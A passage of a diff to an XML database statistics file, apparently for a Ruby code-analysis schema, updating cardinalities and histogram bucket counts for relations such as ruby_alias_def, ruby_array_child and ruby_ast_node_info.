+                                    <v>2363</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
-                                    <b>26</b>
-                                    <v>2484</v>
+                                    <a>17</a>
+                                    <b>28</b>
+                                    <v>2415</v>
                                 </b>
                                 <b>
-                                    <a>26</a>
-                                    <b>41</b>
-                                    <v>2341</v>
+                                    <a>28</a>
+                                    <b>42</b>
+                                    <v>2415</v>
                                 </b>
                                 <b>
-                                    <a>41</a>
-                                    <b>54</b>
-                                    <v>2419</v>
+                                    <a>42</a>
+                                    <b>55</b>
+                                    <v>2337</v>
                                 </b>
                                 <b>
-                                    <a>54</a>
-                                    <b>68</b>
-                                    <v>2419</v>
+                                    <a>55</a>
+                                    <b>69</b>
+                                    <v>2441</v>
                                 </b>
                                 <b>
-                                    <a>68</a>
-                                    <b>84</b>
-                                    <v>2393</v>
+                                    <a>69</a>
+                                    <b>86</b>
+                                    <v>2415</v>
                                 </b>
                                 <b>
-                                    <a>84</a>
-                                    <b>108</b>
-                                    <v>2393</v>
+                                    <a>86</a>
+                                    <b>112</b>
+                                    <v>2376</v>
                                 </b>
                                 <b>
-                                    <a>108</a>
+                                    <a>112</a>
                                     <b>200</b>
-                                    <v>1785</v>
+                                    <v>1571</v>
                                 </b>
                             </bs>
                         </hist>
@@ -3961,72 +3976,72 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1500</v>
+                                    <v>1506</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1617</v>
+                                    <v>1623</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>2548</v>
+                                    <v>2558</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>2406</v>
+                                    <v>2402</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>1643</v>
+                                    <v>1649</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>13</b>
-                                    <v>2768</v>
+                                    <v>2688</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>18</b>
-                                    <v>2574</v>
+                                    <v>2636</v>
                                 </b>
                                 <b>
                                     <a>18</a>
                                     <b>30</b>
-                                    <v>2341</v>
+                                    <v>2402</v>
                                 </b>
                                 <b>
                                     <a>30</a>
-                                    <b>45</b>
-                                    <v>2471</v>
+                                    <b>44</b>
+                                    <v>2389</v>
                                 </b>
                                 <b>
-                                    <a>45</a>
-                                    <b>60</b>
-                                    <v>2484</v>
+                                    <a>44</a>
+                                    <b>58</b>
+                                    <v>2337</v>
                                 </b>
                                 <b>
-                                    <a>60</a>
-                                    <b>75</b>
-                                    <v>2354</v>
+                                    <a>58</a>
+                                    <b>72</b>
+                                    <v>2324</v>
                                 </b>
                                 <b>
-                                    <a>75</a>
-                                    <b>94</b>
-                                    <v>2367</v>
+                                    <a>72</a>
+                                    <b>90</b>
+                                    <v>2389</v>
                                 </b>
                                 <b>
-                                    <a>94</a>
-                                    <b>121</b>
-                                    <v>2367</v>
+                                    <a>90</a>
+                                    <b>117</b>
+                                    <v>2311</v>
                                 </b>
                                 <b>
-                                    <a>121</a>
+                                    <a>117</a>
                                     <b>202</b>
-                                    <v>1112</v>
+                                    <v>1454</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4042,17 +4057,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>349</v>
+                                    <v>350</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>478</v>
+                                    <v>480</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>401</v>
+                                    <v>402</v>
                                 </b>
                                 <b>
                                     <a>5</a>
@@ -4062,51 +4077,51 @@
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>465</v>
+                                    <v>467</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>14</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>28</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>28</a>
-                                    <b>66</b>
-                                    <v>388</v>
+                                    <b>68</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>69</a>
-                                    <b>262</b>
-                                    <v>388</v>
+                                    <b>258</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>268</a>
-                                    <b>1065</b>
-                                    <v>388</v>
+                                    <a>264</a>
+                                    <b>1063</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>1106</a>
-                                    <b>3376</b>
-                                    <v>388</v>
+                                    <a>1113</a>
+                                    <b>3378</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>3708</a>
-                                    <b>8055</b>
-                                    <v>388</v>
+                                    <a>3687</a>
+                                    <b>8035</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>8112</a>
-                                    <b>10395</b>
-                                    <v>388</v>
+                                    <a>8096</a>
+                                    <b>10367</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>10483</a>
-                                    <b>18241</b>
+                                    <a>10416</a>
+                                    <b>17990</b>
                                     <v>116</v>
                                 </b>
                             </bs>
@@ -4123,52 +4138,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1436</v>
+                                    <v>1441</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>608</v>
+                                    <v>610</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>426</v>
+                                    <v>428</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>9</b>
-                                    <v>401</v>
+                                    <v>402</v>
                                 </b>
                                 <b>
                                     <a>9</a>
-                                    <b>40</b>
-                                    <v>388</v>
+                                    <b>41</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>41</a>
-                                    <b>121</b>
-                                    <v>388</v>
+                                    <a>42</a>
+                                    <b>123</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>143</a>
-                                    <b>410</b>
-                                    <v>401</v>
+                                    <b>406</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>419</a>
-                                    <b>772</b>
-                                    <v>388</v>
+                                    <a>406</a>
+                                    <b>760</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>794</a>
-                                    <b>1007</b>
-                                    <v>388</v>
+                                    <a>771</a>
+                                    <b>994</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>1008</a>
-                                    <b>1277</b>
-                                    <v>284</v>
+                                    <a>1006</a>
+                                    <b>1289</b>
+                                    <v>298</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4184,67 +4199,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>517</v>
+                                    <v>519</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>672</v>
+                                    <v>675</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>297</v>
+                                    <v>298</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>401</v>
+                                    <v>402</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>9</b>
-                                    <v>452</v>
+                                    <v>454</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>16</b>
-                                    <v>414</v>
+                                    <v>415</v>
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>38</b>
-                                    <v>388</v>
+                                    <b>39</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>39</a>
                                     <b>136</b>
-                                    <v>401</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>139</a>
-                                    <b>357</b>
-                                    <v>388</v>
+                                    <a>136</a>
+                                    <b>344</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>359</a>
-                                    <b>676</b>
-                                    <v>388</v>
+                                    <a>353</a>
+                                    <b>637</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>687</a>
-                                    <b>1018</b>
-                                    <v>388</v>
+                                    <a>675</a>
+                                    <b>1011</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>1020</a>
-                                    <b>1286</b>
-                                    <v>388</v>
+                                    <a>1011</a>
+                                    <b>1272</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>1386</a>
+                                    <a>1284</a>
                                     <b>1387</b>
-                                    <v>12</v>
+                                    <v>25</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4260,62 +4275,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>892</v>
+                                    <v>896</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>310</v>
+                                    <v>311</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>504</v>
+                                    <v>506</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>349</v>
+                                    <v>350</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>439</v>
+                                    <v>441</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>18</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>19</a>
                                     <b>33</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>49</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>49</a>
                                     <b>64</b>
-                                    <v>388</v>
+                                    <v>402</v>
                                 </b>
                                 <b>
                                     <a>64</a>
-                                    <b>81</b>
-                                    <v>388</v>
+                                    <b>82</b>
+                                    <v>428</v>
                                 </b>
                                 <b>
-                                    <a>81</a>
-                                    <b>94</b>
-                                    <v>414</v>
+                                    <a>82</a>
+                                    <b>95</b>
+                                    <v>402</v>
                                 </b>
                                 <b>
-                                    <a>94</a>
+                                    <a>95</a>
                                     <b>112</b>
-                                    <v>258</v>
+                                    <v>220</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4331,67 +4346,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>517</v>
+                                    <v>519</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>672</v>
+                                    <v>675</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>297</v>
+                                    <v>298</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>401</v>
+                                    <v>402</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>9</b>
-                                    <v>452</v>
+                                    <v>454</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>16</b>
-                                    <v>414</v>
+                                    <v>415</v>
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>38</b>
-                                    <v>388</v>
+                                    <b>39</b>
+                                    <v>402</v>
                                 </b>
                                 <b>
-                                    <a>38</a>
-                                    <b>137</b>
-                                    <v>388</v>
+                                    <a>48</a>
+                                    <b>141</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>139</a>
-                                    <b>346</b>
-                                    <v>388</v>
+                                    <a>142</a>
+                                    <b>352</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>354</a>
+                                    <a>359</a>
                                     <b>637</b>
-                                    <v>388</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>641</a>
-                                    <b>995</b>
-                                    <v>388</v>
+                                    <a>674</a>
+                                    <b>999</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>997</a>
-                                    <b>1231</b>
-                                    <v>388</v>
+                                    <a>1010</a>
+                                    <b>1283</b>
+                                    <v>389</v>
                                 </b>
                                 <b>
-                                    <a>1283</a>
+                                    <a>1381</a>
                                     <b>1382</b>
-                                    <v>25</v>
+                                    <v>12</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4401,19 +4416,19 @@
         </relation>
         <relation>
             <name>ruby_alias_def</name>
-            <cardinality>1256</cardinality>
+            <cardinality>1244</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1256</v>
+                    <v>1244</v>
                 </e>
                 <e>
                     <k>alias</k>
-                    <v>1256</v>
+                    <v>1244</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>1256</v>
+                    <v>1244</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -4427,7 +4442,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4443,7 +4458,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4459,7 +4474,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4475,7 +4490,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4491,7 +4506,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4507,7 +4522,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1256</v>
+                                    <v>1244</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4583,7 +4598,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4599,7 +4614,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4620,19 +4635,19 @@
         </relation>
         <relation>
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-            <cardinality>822785</cardinality>
+            <cardinality>823783</cardinality>
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                 <e>
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@@ -4646,17 +4661,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
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+                                    <v>562976</v>
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                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>64469</v>
+                                    <v>64088</v>
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                                 <b>
                                     <a>3</a>
                                     <b>34</b>
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+                                    <v>37193</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4672,17 +4687,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>561206</v>
+                                    <v>562976</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>64469</v>
+                                    <v>64088</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>34</b>
-                                    <v>37183</v>
+                                    <v>37193</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4717,27 +4732,27 @@
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>21</b>
+                                    <b>20</b>
                                     <v>38</v>
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                                 <b>
                                     <a>22</a>
-                                    <b>43</b>
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                                     <v>38</v>
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                                 <b>
-                                    <a>56</a>
-                                    <b>375</b>
+                                    <a>55</a>
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                                     <v>38</v>
                                 </b>
                                 <b>
-                                    <a>903</a>
-                                    <b>7858</b>
+                                    <a>900</a>
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                                     <v>38</v>
                                 </b>
                                 <b>
-                                    <a>51234</a>
-                                    <b>51235</b>
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+                                    <b>51151</b>
                                     <v>12</v>
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@@ -4773,27 +4788,27 @@
                                 </b>
                                 <b>
                                     <a>11</a>
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+                                    <b>20</b>
                                     <v>38</v>
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                                 <b>
                                     <a>22</a>
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                                     <v>38</v>
                                 </b>
                                 <b>
-                                    <a>56</a>
-                                    <b>375</b>
+                                    <a>55</a>
+                                    <b>372</b>
                                     <v>38</v>
                                 </b>
                                 <b>
-                                    <a>903</a>
-                                    <b>7858</b>
+                                    <a>900</a>
+                                    <b>7800</b>
                                     <v>38</v>
                                 </b>
                                 <b>
-                                    <a>51234</a>
-                                    <b>51235</b>
+                                    <a>51150</a>
+                                    <b>51151</b>
                                     <v>12</v>
                                 </b>
                             </bs>
@@ -4810,7 +4825,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>822785</v>
+                                    <v>823783</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4826,7 +4841,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>822785</v>
+                                    <v>823783</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4836,22 +4851,22 @@
         </relation>
         <relation>
             <name>ruby_argument_list_def</name>
-            <cardinality>663118</cardinality>
+            <cardinality>664517</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>663118</v>
+                    <v>664517</v>
                 </e>
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         <relation>
             <name>ruby_array_child</name>
-            <cardinality>698871</cardinality>
+            <cardinality>699082</cardinality>
             <columnsizes>
                 <e>
                     <k>ruby_array</k>
-                    <v>237321</v>
+                    <v>237416</v>
                 </e>
                 <e>
                     <k>index</k>
@@ -4859,7 +4874,7 @@
                 </e>
                 <e>
                     <k>child</k>
-                    <v>698871</v>
+                    <v>699082</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -4873,17 +4888,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11990</v>
+                                    <v>11987</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>212002</v>
+                                    <v>212081</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>63361</b>
-                                    <v>13329</v>
+                                    <v>13348</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4899,17 +4914,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>11990</v>
+                                    <v>11987</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>212002</v>
+                                    <v>212081</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>63361</b>
-                                    <v>13329</v>
+                                    <v>13348</v>
                                 </b>
                             </bs>
                         </hist>
@@ -4949,7 +4964,7 @@
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>237322</b>
+                                    <b>237417</b>
                                     <v>1294</v>
                                 </b>
                             </bs>
@@ -4990,7 +5005,7 @@
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>237322</b>
+                                    <b>237417</b>
                                     <v>1294</v>
                                 </b>
                             </bs>
@@ -5007,7 +5022,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>698871</v>
+                                    <v>699082</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5023,7 +5038,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>698871</v>
+                                    <v>699082</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5033,11 +5048,11 @@
         </relation>
         <relation>
             <name>ruby_array_def</name>
-            <cardinality>245466</cardinality>
+            <cardinality>245561</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>245466</v>
+                    <v>245561</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -5110,7 +5125,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5126,7 +5141,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5158,7 +5173,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5174,7 +5189,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5221,7 +5236,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5237,7 +5252,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3</v>
+                                    <v>2</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5287,19 +5302,19 @@
         </relation>
         <relation>
             <name>ruby_assignment_def</name>
-            <cardinality>130604</cardinality>
+            <cardinality>130246</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>130604</v>
+                    <v>130246</v>
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                 <e>
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                 <e>
                     <k>right</k>
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                 </e>
             </columnsizes>
             <dependencies>
@@ -5313,7 +5328,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5329,7 +5344,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5345,7 +5360,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5361,7 +5376,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5377,7 +5392,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5393,7 +5408,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>130604</v>
+                                    <v>130246</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5403,23 +5418,23 @@
         </relation>
         <relation>
             <name>ruby_ast_node_info</name>
-            <cardinality>8775135</cardinality>
+            <cardinality>8791047</cardinality>
             <columnsizes>
                 <e>
                     <k>node</k>
-                    <v>8775135</v>
+                    <v>8791047</v>
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+                    <v>2884450</v>
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                 <e>
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-                    <v>2781</v>
+                    <v>2792</v>
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                     <k>loc</k>
-                    <v>8492468</v>
+                    <v>8496293</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -5433,7 +5448,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8775135</v>
+                                    <v>8791047</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5449,7 +5464,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8775135</v>
+                                    <v>8791047</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5465,7 +5480,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8775135</v>
+                                    <v>8791047</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5481,27 +5496,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>312864</v>
+                                    <v>325272</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>393001</v>
+                                    <v>393074</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1606523</v>
+                                    <v>1608542</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>344781</v>
+                                    <v>344466</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>216</b>
-                                    <v>212996</v>
+                                    <v>213094</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5517,27 +5532,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>312864</v>
+                                    <v>325272</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>393001</v>
+                                    <v>393074</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1606523</v>
+                                    <v>1608542</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>344781</v>
+                                    <v>344466</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>216</b>
-                                    <v>212996</v>
+                                    <v>213094</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5553,27 +5568,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>312864</v>
+                                    <v>325272</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>393001</v>
+                                    <v>393074</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1606523</v>
+                                    <v>1608542</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>344781</v>
+                                    <v>344466</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>216</b>
-                                    <v>212996</v>
+                                    <v>213094</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5589,56 +5604,51 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>401</v>
+                                    <v>649</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>245</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>3</a>
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-                                    <v>388</v>
+                                    <b>5</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
+                                    <a>5</a>
                                     <b>6</b>
-                                    <v>232</v>
+                                    <v>233</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>7</b>
-                                    <v>232</v>
+                                    <b>9</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
-                                    <b>10</b>
-                                    <v>232</v>
+                                    <a>9</a>
+                                    <b>21</b>
+                                    <v>246</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>22</b>
-                                    <v>245</v>
+                                    <a>21</a>
+                                    <b>48</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>50</b>
-                                    <v>219</v>
+                                    <a>48</a>
+                                    <b>127</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>50</a>
-                                    <b>129</b>
-                                    <v>219</v>
+                                    <a>130</a>
+                                    <b>946</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>132</a>
-                                    <b>949</b>
-                                    <v>219</v>
-                                </b>
-                                <b>
-                                    <a>1419</a>
-                                    <b>221843</b>
+                                    <a>1416</a>
+                                    <b>222113</b>
                                     <v>142</v>
                                 </b>
                             </bs>
@@ -5655,56 +5665,51 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>401</v>
+                                    <v>649</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>245</v>
+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>4</b>
-                                    <v>388</v>
+                                    <b>5</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
+                                    <a>5</a>
                                     <b>6</b>
-                                    <v>232</v>
+                                    <v>233</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>7</b>
-                                    <v>232</v>
+                                    <b>9</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
-                                    <b>10</b>
-                                    <v>232</v>
+                                    <a>9</a>
+                                    <b>21</b>
+                                    <v>246</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>22</b>
-                                    <v>245</v>
+                                    <a>21</a>
+                                    <b>48</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>50</b>
-                                    <v>219</v>
+                                    <a>48</a>
+                                    <b>127</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>50</a>
-                                    <b>129</b>
-                                    <v>219</v>
+                                    <a>130</a>
+                                    <b>946</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>132</a>
-                                    <b>949</b>
-                                    <v>219</v>
-                                </b>
-                                <b>
-                                    <a>1419</a>
-                                    <b>221843</b>
+                                    <a>1416</a>
+                                    <b>222113</b>
                                     <v>142</v>
                                 </b>
                             </bs>
@@ -5721,56 +5726,51 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>401</v>
+                                    <v>649</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
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+                                    <v>389</v>
                                 </b>
                                 <b>
                                     <a>3</a>
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-                                    <v>388</v>
+                                    <b>5</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
+                                    <a>5</a>
                                     <b>6</b>
-                                    <v>232</v>
+                                    <v>233</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>7</b>
-                                    <v>232</v>
+                                    <b>9</b>
+                                    <v>233</v>
                                 </b>
                                 <b>
-                                    <a>7</a>
-                                    <b>10</b>
-                                    <v>232</v>
+                                    <a>9</a>
+                                    <b>21</b>
+                                    <v>246</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>22</b>
-                                    <v>245</v>
+                                    <a>21</a>
+                                    <b>48</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>50</b>
-                                    <v>219</v>
+                                    <a>48</a>
+                                    <b>127</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>50</a>
-                                    <b>129</b>
-                                    <v>219</v>
+                                    <a>130</a>
+                                    <b>946</b>
+                                    <v>220</v>
                                 </b>
                                 <b>
-                                    <a>132</a>
-                                    <b>949</b>
